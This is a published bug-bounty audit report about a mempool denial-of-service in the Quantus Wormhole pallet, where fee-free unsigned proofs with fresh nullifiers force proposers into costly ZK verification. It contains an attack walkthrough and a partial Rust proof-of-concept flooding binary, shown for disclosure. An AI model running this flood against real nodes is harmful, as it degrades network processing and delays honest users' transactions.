Skip to content
DoS Audit finding Advanced

An unauthenticated attacker will force processing nodes to process unsigned Wormhole mempool transactions beyond configured proposer limits.

The Wormhole pallet's unsigned transaction validation accepts batch proof extrinsics after only cheap structural checks, deferring the expensive zero-knowledge verification to block proposal time. An unauthenticated attacker can submit many fee-free candidates with fresh nullifiers so the proposer performs verification work far beyond the configured block-size, weight and skip limits.

n3310y Follow

Originally disclosed on Immunefi

  • Disclosed after under an hour

90398 bc high an unauthenticated attacker will force processing nodes to process unsigned wormhole mempool transactions beyond configured proposer limits

Submitted on Aug 24th 2026 at 20:35:28 UTC by @n3310y for Audit Comp | Quantus

Description

Brief/Intro

Cheap, verify-free validate_unsigned() admission for Wormhole batch proofs will cause the proposer to process candidate bytes and verification work beyond the block-size, block-weight, and skip-cap limits that should have bounded proposer processing, as an unauthenticated attacker submits canonical proof variants with fresh nullifiers that enter the mempool with Pays::No and are rejected only after pre_dispatch() runs the full ZK verifier.

Vulnerability Details

Root Cause

In pallets/wormhole/src/lib.rs:1006-1043 validate_unsigned() admits verify_public_batch / verify_private_batch after pre_validate_*_batch_proof() only. That function deserializes the proof, checks canonical encoding, parses public inputs, and rejects used or duplicate nullifiers. It never calls verifier.verify(). The admitted transaction has fixed priority UNSIGNED_EXIT_PRIORITY = 1, longevity 5, propagate(true), and a provides tag from exit_bundle_provides_tag(), which hashes attacker-controlled nullifiers.

In pallets/wormhole/src/lib.rs:1045-1062 pre_dispatch() is the first place that runs validate_*_batch_proof(), which calls the embedded verifier at lines 1167-1179 (private) or 1226-1238 (public). The choice to defer ZK verification to proposer-time pre_dispatch() while tagging pool entries by unverified nullifiers is the mistake: fresh nullifiers make each junk proof a distinct ready transaction, so the proposer pays full verification for fee-free unsigned traffic.

Details

Wormhole settlement is submitted as an unsigned extrinsic. author_submitExtrinsic puts the candidate in the transaction pool. The runtime validates it through Executive::validate_transaction(), which calls Wormhole::validate_unsigned(). The QPoW node constructs the proposer with that same pool (node/src/service.rs:464-471) and starts mining with a 10-second build window (node/src/service.rs:486-499). Basic Authorship then iterates ready transactions and push()es each one. push() applies the extrinsic, which runs Wormhole::pre_dispatch().

Pool admission is deliberately cheap:

Rust
fn validate_unsigned(_source: TransactionSource, call: &Self::Call) -> TransactionValidity {
    // Pool admission runs on every gossiped transaction, so it deliberately performs
    // only the cheap pre-validation ... and NOT the expensive ZK verification.
    match call {
        Call::verify_public_batch { proof_bytes } => {
            let (_, _, bundle, _validity) =
                Self::pre_validate_public_batch_proof(proof_bytes) // @audit: deserialize, canonical encoding, bundle/nullifier checks only. No verifier.verify().
                    .map_err(|_| InvalidTransaction::Call)?;

            ValidTransaction::with_tag_prefix("WormholePublicBatch")
                .and_provides(Self::exit_bundle_provides_tag(&bundle)) // @audit: tag is a hash of public-input nullifiers. Attacker chooses those nullifiers.
                .priority(crate::UNSIGNED_EXIT_PRIORITY) // @audit: constant 1. No fee, no signed origin.
                .longevity(5)
                .propagate(true)
                .build()
        },
        // verify_private_batch is the same cheap path
        _ => InvalidTransaction::Call.into(),
    }
}

pre_validate_public_batch_proof() is the guard the design relies on. It bounds proof size, deserializes with the embedded circuit, requires proof.to_bytes() == proof_bytes, parses public inputs, and runs validate_exit_bundle_common() (asset, fee bps, live block hash/number, unused/non-duplicate nullifiers). Those checks do not bind the nullifiers to a valid proof. A canonical fixture with rewritten live block metadata and unique nonzero nullifiers therefore returns ValidTransaction.

The intended throttle is the provides tag:

Rust
fn exit_bundle_provides_tag(bundle: &ExitBundle) -> [u8; 32] {
    let mut preimage = Vec::new();
    for segment in &bundle.segments {
        for nullifier in &segment.nullifiers {
            preimage.extend_from_slice(nullifier.as_ref()); // @audit: nullifiers are still unverified public inputs here.
        }
    }
    sp_io::hashing::blake2_256(&preimage)
}

That tag stops resubmitting the same logical exit under a mutated encoding. It does not stop a new logical exit. Each fresh nullifier set is a new tag, so the pool can hold one junk candidate per nullifier tuple, up to the 256 MiB / 36,772 entry pool.

Inclusion is where the cost is paid:

Rust
fn pre_dispatch(call: &Self::Call) -> Result<(), TransactionValidityError> {
    // Block-inclusion gate. ... this runs the FULL validation including ZK verification
    match call {
        Call::verify_public_batch { proof_bytes } =>
            Self::validate_public_batch_proof(proof_bytes) // @audit: cheap checks again, then verifier.verify().
                .map(|_| ())
                .map_err(|_| InvalidTransaction::Call.into()),
        _ => Err(InvalidTransaction::Call.into()),
    }
}

fn validate_public_batch_proof(proof_bytes: &[u8]) -> Result<(ExitBundle, Vec<bool>), Error<T>> {
    let (verifier, proof, bundle, validity) =
        Self::pre_validate_public_batch_proof(proof_bytes)?;
    verifier.verify(proof).map_err(|e| { // @audit: first cryptographic authentication. Runs in the proposer, not at pool admission.
        log::error!("Public-batch proof verification failed: {:?}", e);
        Error::<T>::ProofVerificationFailed
    })?;
    Ok((bundle, validity))
}

Basic Authorship (sc-basic-authorship 0.53.0) is the consumer. Before push() it checks block_size + tx_size > DEFAULT_BLOCK_SIZE_LIMIT (4,194,816 bytes). After a failed pre_dispatch() the candidate is not added to the block, so block size and RuntimeBlockWeights never move. The final block itself does not exceed the block-size limit because the invalid transactions are not included. The invalid branch reports the transaction invalid and continues. MAX_SKIPPED_TRANSACTIONS = 8 applies only to overweight/oversize results, not to InvalidTransaction::Call. The proposer therefore keeps verifying 223,627-byte unsigned proofs until the ready iterator is empty or the 9-second hard deadline fires: it processes candidate bytes and verification work beyond the limits that should have bounded proposer processing.

Configured limits used in the PoC (production values, not invented). They bound included extrinsics, not failed pre_dispatch() work:

The proposer size cap is 4,194,816 bytes, so at most 18 included public-batch extrinsics of this shape would fit. Normal-class length (75% of 5 MiB) allows 17. Normal-class ref_time is 4.5 s and max-block ref_time is 6.0 s; one public-batch ZK verify is weighted at 21.077 ms, so 214 such verifies would exhaust normal weight if they were charged. They are not charged, because they die in pre_dispatch(). The PoC shows one proposal processing 500 of them.

A duplicate-nullifier variant is rejected at author_submitExtrinsic with Invalid Transaction, which shows the cheap guard is live and only fails to cover unique unverified nullifiers.

Attack Path

{% stepper %} {% step %}

Read a canonical fixture

An unauthenticated RPC client reads a canonical public-batch fixture from pallets/wormhole/test-data/public_batch.hex. No valid exit, key, or balance is required. {% endstep %}

{% step %}

Update live block metadata

The client reads chain_getHeader / chain_getBlockHash and writes the live block hash and number into the proof public inputs. {% endstep %}

{% step %}

Generate unique nullifiers

The client replaces every nullifier with unique nonzero field limbs and reserializes with the production ProofWithPublicInputs::to_bytes(). {% endstep %}

{% step %}

Submit an unsigned extrinsic

The client submits a bare unsigned Wormhole::verify_public_batch extrinsic through author_submitExtrinsic(). validate_unsigned() accepts it and the pool stores a unique nullifier tag. {% endstep %}

{% step %}

Fill and refill the ready pool

The client repeats with new nullifiers until a wave fills the ready pool, then refills after the proposer drops invalid entries. No fee is charged. {% endstep %}

{% step %}

Force proposer-side verification

The production QPoW proposer iterates the ready pool, push()es each candidate, runs pre_dispatch() / verifier.verify(), logs Public-batch proof verification failed, and continues. {% endstep %}

{% step %}

Observe the impact

The observer records pool occupancy, verifier-failure count, processed candidate bytes and verification work versus the limits that should have bounded proposer processing, proposer wall-clock, CPU, and honest-transfer inclusion delay. {% endstep %} {% endstepper %}

Impact Details

The processing node suffers unpriced proposer-time ZK verification: the proposer processes candidate bytes and verification work beyond the block-size, block-weight, and skip-cap limits that should have bounded proposer processing. The attacker pays no fee and needs no Dilithium key or balance.

On the measured private --dev run, 1,501 unsigned candidates were accepted and 1,501 full verifier failures were logged. One proposal processed 500 invalid proofs (111,813,500 candidate bytes, 10.538 s of configured ZK ref_time) in 2,951 ms. The final block itself does not exceed the 4,194,816-byte block-size limit, because those invalid transactions are not included. The proposer nevertheless processed candidate bytes and verification work 26.66× that size limit and 27.78× the 18-extrinsic inclusion cap that should have bounded proposer processing. The skip cap of 8 was not applied. An honest transfer_keep_alive submitted while the pool was occupied took 6,950 ms to include versus 2,660 ms in steady state. Sampled attack hashes were not included in any block. Node CPU peaked at 245.3% during the flood versus ~72–99% while only mining.

The attacker gains no funds. The node does not halt: blocks continued and recovery still produced a block. This run did not hit the 9-second HitDeadline because native verification drained a 500-candidate wave in about 3 seconds. It also does not demonstrate a 24-hour 30% resource increase, theft, or freezing of funds.

Dashboard impact: High — causing network processing nodes to process transactions from the mempool beyond set parameters. The program text for that impact specifically names custom unsigned Wormhole validate_unsigned / Pays::No / pool provides tags.

Risk Breakdown

Severity is High under the project-specific High #2 impact (mempool processing beyond set parameters). Under the generic Immunefi table this family is often Medium DoS; the program's own impact list is the one to select on the dashboard.

Exploitability is moderate. The attacker needs only loopback or RPC access and the committed fixture. There is no privileged role, no signature, and no balance requirement. The attacker must keep public inputs synchronized with the live block hash/number and use unique nullifiers.

Repeatability is high. Four refill waves produced 1,501 accepted candidates and three ~3-second proposals each processing ~500 invalid proofs.

Likelihood is high on any node that accepts unsigned Wormhole extrinsics into the ready pool, which is the production quantus-node path.

This is not known issues #1 (referendum votes), #2 (miner plaintext), or #3 (zk-tree depth). It is not ML-DSA verification inside UncheckedExtrinsic::check(): the PoC submits a bare unsigned Wormhole call and never verifies a Dilithium signature.

References

Proof of Concept

Standalone attacker binary against a private quantus-node --dev over loopback RPC. It does not mock validate_unsigned(), patch the runtime, or write node storage. It submits bare unsigned Wormhole::verify_public_batch extrinsics via author_submitExtrinsic. The production QPoW proposer / Basic Authorship consume them.

{% hint style="warning" %} Private disposable node only. Do not point this at a public network. {% endhint %}

Prerequisites

Git, a Rust toolchain that can build this repo, clang/libclang, free ports 19945/30345/19616, fixture pallets/wormhole/test-data/public_batch.hex. Work from the chain crate root. --rpc-methods Unsafe is required. macOS: export LIBCLANG_PATH=/opt/homebrew/opt/llvm@21/lib. Set NODE_LOG_PATH before the harness starts (the runner does this).

Files to add

Do not modify pallets/wormhole or the runtime. Add two files from the following sections, then insert these PoC-only deps in node/Cargo.toml [dependencies]:

TOML
pallet-wormhole = { workspace = true, default-features = true }
qp-plonky2-verifier = { workspace = true, default-features = true }
qp-wormhole-verifier = { workspace = true, default-features = true }

Place pallet-wormhole next to the other pallet-* entries, and the two verifier crates next to the other qp-* entries. After the edit the relevant region looks like:

TOML
pallet-utility.default-features = true
pallet-utility.workspace = true
pallet-wormhole = { workspace = true, default-features = true }
pallet-zk-tree.default-features = true
pallet-zk-tree.workspace = true
prometheus.workspace = true
qp-dilithium-crypto = { workspace = true }
qp-plonky2-verifier = { workspace = true, default-features = true }
qp-rusty-crystals-dilithium.workspace = true
qp-rusty-crystals-hdwallet.workspace = true
qp-wormhole.workspace = true
qp-wormhole-verifier = { workspace = true, default-features = true }

cargo build will update Cargo.lock to record quantus-node now depending on pallet-wormhole, qp-plonky2-verifier, and qp-wormhole-verifier. Allow that lockfile update. Do not hand-edit Cargo.lock.

Do not add these crates to the node std / runtime-benchmarks / try-runtime feature lists. Do not change pallets/wormhole, the runtime, or QPoW. Do not replace the fixture.

Full PoC source

node/src/bin/wormhole_proposer_e2e.rs

Paste this file exactly.

Rust
//! Private-node Wormhole proposer PoC. Do not point at a public network.

#![allow(clippy::expect_used, clippy::panic, clippy::unwrap_used)]

use codec::Encode;
use qp_dilithium_crypto::Dilithium87Pair;
use qp_plonky2_verifier::field::types::Field;
use qp_wormhole_verifier::{C, D, F, ProofWithPublicInputs};
use quantus_runtime::{
	transaction_extensions::{ReversibleTransactionExtension, WormholeProofRecorderExtension},
	Address, BalancesCall as RuntimeBalancesCall, Runtime, RuntimeCall, Signature, SignedPayload,
	TxExtension, UncheckedExtrinsic, VERSION,
};
use serde_json::{json, Value};
use sp_core::{crypto::AccountId32, H256, Pair};
use sp_runtime::{
	generic::Era,
	traits::{Hash as _, IdentifyAccount},
	MultiAddress,
};
use std::{
	fs,
	io::{Read, Write},
	net::{TcpStream, ToSocketAddrs},
	path::{Path, PathBuf},
	process::Command,
	sync::{
		atomic::{AtomicBool, AtomicU64, Ordering},
		Arc, Mutex,
	},
	thread,
	time::{Duration, Instant, SystemTime, UNIX_EPOCH},
};

const UNIT: u128 = 1_000_000_000_000;
const DEFAULT_VARIANTS: usize = 500;
const DEFAULT_ATTACK_SECONDS: u64 = 24;
const DEFAULT_REFILL_INTERVAL_SECONDS: u64 = 8;
const DEFAULT_THREADS: usize = 16;
const GOLDILOCKS_ORDER: u64 = 0xFFFFFFFF00000001;

const QPOW_BUILD_TIME_SECS: u64 = 10;
const PROPOSER_HARD_DEADLINE_MS: u64 = 9_000;
const PROPOSER_BLOCK_SIZE_LIMIT: usize = 4 * 1024 * 1024 + 512;
const RUNTIME_MAX_BLOCK_LENGTH: usize = 5 * 1024 * 1024;
const NORMAL_DISPATCH_PERCENT: u64 = 75;
const WEIGHT_REF_TIME_PER_SECOND: u64 = 1_000_000_000_000;
const RUNTIME_MAX_BLOCK_REF_TIME: u64 = 6 * WEIGHT_REF_TIME_PER_SECOND;
const PUBLIC_BATCH_ZK_VERIFY_REF_TIME_PS: u64 = 21_077_000_000;
const PRIVATE_BATCH_ZK_VERIFY_REF_TIME_PS: u64 = 15_162_000_000;
const POOL_LIMIT: usize = 36_772;
const POOL_KBYTES: usize = 262_144;
const MAX_SKIPPED_TRANSACTIONS: usize = 8;
const UNSIGNED_EXIT_PRIORITY: u64 = 1;

#[derive(Clone, Copy, Debug, Eq, PartialEq)]
enum Mode {
	Private,
	Public,
}

impl Mode {
	fn parse(value: &str) -> Self {
		match value {
			"private" => Self::Private,
			"public" => Self::Public,
			other => panic!("mode must be private or public, got {other}"),
		}
	}

	fn call(&self, proof_bytes: Vec<u8>) -> RuntimeCall {
		match self {
			Self::Private =>
				pallet_wormhole::Call::<Runtime>::verify_private_batch { proof_bytes }.into(),
			Self::Public =>
				pallet_wormhole::Call::<Runtime>::verify_public_batch { proof_bytes }.into(),
		}
	}

	fn label(&self) -> &'static str {
		match self {
			Self::Private => "private",
			Self::Public => "public",
		}
	}

	fn zk_ref_time_ps(&self) -> u64 {
		match self {
			Self::Private => PRIVATE_BATCH_ZK_VERIFY_REF_TIME_PS,
			Self::Public => PUBLIC_BATCH_ZK_VERIFY_REF_TIME_PS,
		}
	}

	fn reject_log(&self) -> &'static str {
		match self {
			Self::Private => "Private-batch proof verification failed",
			Self::Public => "Public-batch proof verification failed",
		}
	}
}

#[derive(Clone)]
struct Rpc {
	host: String,
	port: u16,
}

impl Rpc {
	fn from_url(url: &str) -> Self {
		let authority = url
			.strip_prefix("http://")
			.expect("RPC URL must use http://")
			.trim_end_matches('/');
		let mut parts = authority.splitn(2, ':');
		let host = parts.next().expect("RPC host").to_string();
		let port = parts.next().unwrap_or("9944").parse().expect("RPC port");
		Self { host, port }
	}

	fn request(&self, method: &str, params: Value, read_timeout: Duration) -> Result<Value, String> {
		let body = json!({
			"jsonrpc": "2.0",
			"id": 1,
			"method": method,
			"params": params,
		})
		.to_string();
		let addr = format!("{}:{}", self.host, self.port)
			.to_socket_addrs()
			.map_err(|e| e.to_string())?
			.next()
			.ok_or_else(|| "RPC address did not resolve".to_string())?;
		let mut stream = TcpStream::connect_timeout(&addr, Duration::from_secs(5))
			.map_err(|e| format!("connect: {e}"))?;
		stream.set_read_timeout(Some(read_timeout)).map_err(|e| e.to_string())?;
		stream.set_write_timeout(Some(Duration::from_secs(10))).map_err(|e| e.to_string())?;
		let request = format!(
			"POST / HTTP/1.1\r\nHost: {}\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{}",
			self.host,
			body.len(),
			body
		);
		stream.write_all(request.as_bytes()).map_err(|e| format!("write: {e}"))?;
		let mut response = Vec::new();
		stream.read_to_end(&mut response).map_err(|e| format!("read: {e}"))?;
		let response = String::from_utf8_lossy(&response);
		let body = response
			.split_once("\r\n\r\n")
			.map(|(_, body)| body)
			.ok_or_else(|| format!("malformed HTTP response: {response}"))?;
		let value: Value =
			serde_json::from_str(body).map_err(|e| format!("JSON: {e}; body={body}"))?;
		if let Some(error) = value.get("error") {
			return Err(error.to_string());
		}
		value
			.get("result")
			.cloned()
			.ok_or_else(|| format!("RPC response has no result: {value}"))
	}

	fn call(&self, method: &str, params: Value) -> Result<Value, String> {
		self.request(method, params, Duration::from_secs(45))
	}
}

fn hex_bytes(bytes: &[u8]) -> String {
	format!("0x{}", hex::encode(bytes))
}

fn parse_h256(value: &Value) -> H256 {
	let encoded = value.as_str().expect("RPC hash string");
	let bytes = hex::decode(encoded.trim_start_matches("0x")).expect("RPC hash hex");
	H256::from_slice(&bytes)
}

fn parse_number(value: &Value) -> u64 {
	u64::from_str_radix(
		value.as_str().expect("RPC block number string").trim_start_matches("0x"),
		16,
	)
	.expect("RPC block number")
}

fn best(rpc: &Rpc) -> (u64, H256) {
	let header = rpc.call("chain_getHeader", json!([])).expect("chain_getHeader");
	let number = parse_number(header.get("number").expect("header number"));
	let hash = parse_h256(
		&rpc.call("chain_getBlockHash", json!([number])).expect("chain_getBlockHash"),
	);
	(number, hash)
}

fn genesis_hash(rpc: &Rpc) -> H256 {
	parse_h256(&rpc.call("chain_getBlockHash", json!([0])).expect("genesis hash"))
}

fn submit(rpc: &Rpc, extrinsic: &[u8]) -> Result<String, String> {
	rpc.call("author_submitExtrinsic", json!([hex_bytes(extrinsic)]))
		.map(|value| value.as_str().unwrap_or_default().to_string())
}

#[derive(Clone, Debug)]
enum PoolOccupancy {
	Count(usize),
	RpcError(String),
}

fn pool_occupancy(rpc: &Rpc) -> PoolOccupancy {
	match rpc.call("author_pendingExtrinsics", json!([])) {
		Ok(value) => PoolOccupancy::Count(value.as_array().map(Vec::len).unwrap_or(0)),
		Err(error) => PoolOccupancy::RpcError(error),
	}
}

fn occupancy_busy(occupancy: &PoolOccupancy, min_count: usize) -> bool {
	match occupancy {
		PoolOccupancy::Count(count) => *count >= min_count,
		PoolOccupancy::RpcError(error) =>
			error.to_lowercase().contains("memory") || error.to_lowercase().contains("capacity"),
	}
}

fn account(pair: &Dilithium87Pair) -> AccountId32 {
	pair.public().into_account()
}

fn account_hex(pair: &Dilithium87Pair) -> String {
	hex_bytes(account(pair).as_ref())
}

fn json_u128(value: &Value) -> Option<u128> {
	if let Some(n) = value.as_u64() {
		return Some(n as u128);
	}
	if let Some(s) = value.as_str() {
		return s.parse().ok();
	}
	value.as_number().and_then(|n| n.to_string().parse().ok())
}

fn alice_free_balance(rpc: &Rpc) -> Option<u128> {
	let alice = Dilithium87Pair::from_seed_slice(&[0u8; 32]).ok()?;
	let key = hex_bytes(account(&alice).as_ref());
	let value = rpc.call("system_account", json!([key])).ok()?;
	value.get("data").and_then(|data| data.get("free")).and_then(json_u128)
}

fn extension(nonce: u32, best_block: u64) -> TxExtension {
	let period = quantus_runtime::configs::BlockHashCount::get()
		.checked_next_power_of_two()
		.map(|count| count / 2)
		.unwrap_or(2) as u64;
	(
		frame_system::CheckNonZeroSender::<Runtime>::new(),
		frame_system::CheckSpecVersion::<Runtime>::new(),
		frame_system::CheckTxVersion::<Runtime>::new(),
		frame_system::CheckGenesis::<Runtime>::new(),
		frame_system::CheckEra::<Runtime>::from(Era::mortal(period, best_block)),
		frame_system::CheckNonce::<Runtime>::from(nonce),
		frame_system::CheckWeight::<Runtime>::new(),
		ReversibleTransactionExtension::<Runtime>::new(),
		WormholeProofRecorderExtension::<Runtime>::new(),
		pallet_transaction_payment::ChargeTransactionPayment::<Runtime>::from(0),
		frame_metadata_hash_extension::CheckMetadataHash::<Runtime>::new(false),
		frame_system::WeightReclaim::<Runtime>::new(),
	)
}

fn signed_payload(
	call: RuntimeCall,
	ext: TxExtension,
	genesis: H256,
	best_hash: H256,
) -> SignedPayload {
	SignedPayload::from_raw(
		call,
		ext,
		(
			(),
			VERSION.spec_version,
			VERSION.transaction_version,
			genesis,
			best_hash,
			(),
			(),
			(),
			(),
			(),
			None,
			(),
		),
	)
}

fn signed_transfer(genesis: H256, best_block: u64, best_hash: H256, nonce: u32) -> Vec<u8> {
	let alice = Dilithium87Pair::from_seed_slice(&[0u8; 32]).expect("Alice seed");
	let bob = Dilithium87Pair::from_seed_slice(&[1u8; 32]).expect("Bob seed");
	let call: RuntimeCall = RuntimeBalancesCall::transfer_keep_alive {
		dest: MultiAddress::Id(account(&bob)),
		value: UNIT,
	}
	.into();
	let ext = extension(nonce, best_block);
	let payload = signed_payload(call.clone(), ext.clone(), genesis, best_hash);
	let signature = payload.using_encoded(|bytes| alice.sign(bytes));
	UncheckedExtrinsic::new_signed(
		call,
		Address::Id(account(&alice)),
		Signature::Dilithium87(signature),
		ext,
	)
	.encode()
}

fn proof_from_fixture(mode: Mode, fixture: &[u8]) -> ProofWithPublicInputs<F, C, D> {
	let verifier = match mode {
		Mode::Private => pallet_wormhole::get_private_batch_verifier()
			.expect("private-batch verifier is embedded in this build"),
		Mode::Public => pallet_wormhole::get_public_batch_verifier()
			.expect("public-batch verifier is embedded in this build"),
	};
	ProofWithPublicInputs::<F, C, D>::from_bytes(fixture.to_vec(), &verifier.circuit_data.common)
		.expect("fixture must deserialize with the production verifier")
}

fn set_field(proof: &mut ProofWithPublicInputs<F, C, D>, index: usize, value: u64) {
	proof.public_inputs[index] = F::from_canonical_u64(value);
}

fn set_digest(proof: &mut ProofWithPublicInputs<F, C, D>, start: usize, digest: H256) {
	for (i, chunk) in digest.as_bytes().chunks_exact(8).enumerate() {
		let value = u64::from_le_bytes(chunk.try_into().expect("digest chunk"));
		assert!(
			value < GOLDILOCKS_ORDER,
			"current block hash is not field-canonical at limb {i}: {value:#x}"
		);
		set_field(proof, start + i, value);
	}
}

fn mutate_public_inputs(
	mode: Mode,
	base: &ProofWithPublicInputs<F, C, D>,
	best_block: u64,
	best_hash: H256,
	variant_id: u64,
	duplicate_nullifiers: bool,
) -> Vec<u8> {
	let mut proof = base.clone();
	let leaves = pallet_wormhole::circuit_config::NUM_LEAF_PROOFS;
	match mode {
		Mode::Private => {
			set_digest(&mut proof, 3, best_hash);
			set_field(&mut proof, 7, best_block);
			let nullifier_start = 8 + leaves * 2 * 5;
			for leaf in 0..leaves {
				let first_limb = if duplicate_nullifiers {
					0x1000
				} else {
					0x1000 + variant_id * 1024 + leaf as u64 + 1
				};
				set_field(&mut proof, nullifier_start + leaf * 4, first_limb);
				for limb in 1..4 {
					set_field(&mut proof, nullifier_start + leaf * 4 + limb, 0);
				}
			}
		},
		Mode::Public => {
			let inner = pallet_wormhole::circuit_config::NUM_PRIVATE_BATCH_PROOFS;
			let nullifier_count = inner * leaves;
			set_digest(&mut proof, 6, best_hash);
			set_field(&mut proof, 10, best_block);
			let nullifier_start = 12 + (inner * leaves * 2) * 5;
			for leaf in 0..nullifier_count {
				let first_limb = if duplicate_nullifiers {
					0x2000
				} else {
					0x2000 + variant_id * 1024 + leaf as u64 + 1
				};
				set_field(&mut proof, nullifier_start + leaf * 4, first_limb);
				for limb in 1..4 {
					set_field(&mut proof, nullifier_start + leaf * 4 + limb, 0);
				}
			}
		},
	}
	proof.to_bytes()
}

fn bare_extrinsic(mode: Mode, proof_bytes: Vec<u8>) -> Vec<u8> {
	UncheckedExtrinsic::new_bare(mode.call(proof_bytes)).encode()
}

fn tx_hash(extrinsic: &[u8]) -> H256 {
	sp_runtime::traits::BlakeTwo256::hash(extrinsic)
}

fn in_block(rpc: &Rpc, wanted: &str, number: u64) -> Option<(u64, usize)> {
	let block_hash = parse_h256(&rpc.call("chain_getBlockHash", json!([number])).ok()?);
	let block = rpc.call("chain_getBlock", json!([hex_bytes(block_hash.as_bytes())])).ok()?;
	let extrinsics = block.get("block")?.get("extrinsics")?.as_array()?;
	for (index, encoded) in extrinsics.iter().enumerate() {
		let bytes = hex::decode(encoded.as_str()?.trim_start_matches("0x")).ok()?;
		if hex_bytes(tx_hash(&bytes).as_bytes()) == wanted {
			return Some((number, index));
		}
	}
	None
}

fn wait_for_inclusion(rpc: &Rpc, hash: &str, timeout: Duration) -> Option<(u64, usize, Duration)> {
	let started = Instant::now();
	let mut last_checked = 0u64;
	while started.elapsed() < timeout {
		let (number, _) = best(rpc);
		for n in last_checked..=number {
			if let Some((block, index)) = in_block(rpc, hash, n) {
				return Some((block, index, started.elapsed()));
			}
		}
		last_checked = number.saturating_add(1);
		thread::sleep(Duration::from_millis(200));
	}
	None
}

fn block_samples(rpc: &Rpc, duration: Duration) -> Vec<(f64, u64)> {
	let started = Instant::now();
	let mut samples = Vec::new();
	let mut previous = None;
	while started.elapsed() < duration {
		let (block, _) = best(rpc);
		if previous != Some(block) {
			samples.push((started.elapsed().as_secs_f64(), block));
			previous = Some(block);
		}
		thread::sleep(Duration::from_millis(250));
	}
	samples
}

fn now_ms() -> u128 {
	SystemTime::now().duration_since(UNIX_EPOCH).expect("system clock").as_millis()
}

fn sample_cpu(pid: u32) -> Option<f32> {
	let output = Command::new("ps").args(["-p", &pid.to_string(), "-o", "%cpu="]).output().ok()?;
	String::from_utf8_lossy(&output.stdout).trim().parse().ok()
}

fn print_occupancy(label: &str, occupancy: &PoolOccupancy) {
	match occupancy {
		PoolOccupancy::Count(count) => println!("{label}_PENDING_COUNT={count}"),
		PoolOccupancy::RpcError(error) => println!("{label}_PENDING_RPC_ERROR={error}"),
	}
}

#[derive(Debug, Clone)]
struc

The original report as published on Immunefi, by n3310y. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the design defers the expensive zero-knowledge proof verification to pre_dispatch() at block-building time while admitting pool entries based only on cheap structural checks and unverified attacker-chosen nullifiers, so each fresh nullifier creates a distinct fee-free ready transaction.

Impact

The proposer could process candidate bytes and verification work well beyond the block-size, weight and skip limits, delaying honest transactions, though the final block stays within limits, no funds are stolen and the node does not halt.

What the attacker needed

RPC access to the node; Committed public-batch fixture; No key or balance needed

How it was found

  1. Read a canonical public-batch fixture from the repository test data.
  2. Read the live block hash and number and write them into the proof public inputs.
  3. Replace every nullifier with unique nonzero values and reserialise the proof.
  4. Submit a bare unsigned verify_public_batch extrinsic through the RPC submission method.
  5. Repeat with new nullifiers to fill and refill the ready pool without paying fees.
  6. Observe the proposer running full verification on each candidate and logging failures while continuing.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A blockchain node keeps a waiting area (the mempool) of transactions it might put into the next block. This project lets anyone submit a 'proof' transaction for free, and the node only does the costly checking of that proof when it tries to build a block. Because each fake proof can carry a new unique identifier, an attacker can flood the waiting area with junk that all looks acceptable at first, making the node waste time and CPU checking them one by one.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by n3310y

View all

5 more disclosed reports, best first.

More from Quantus

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.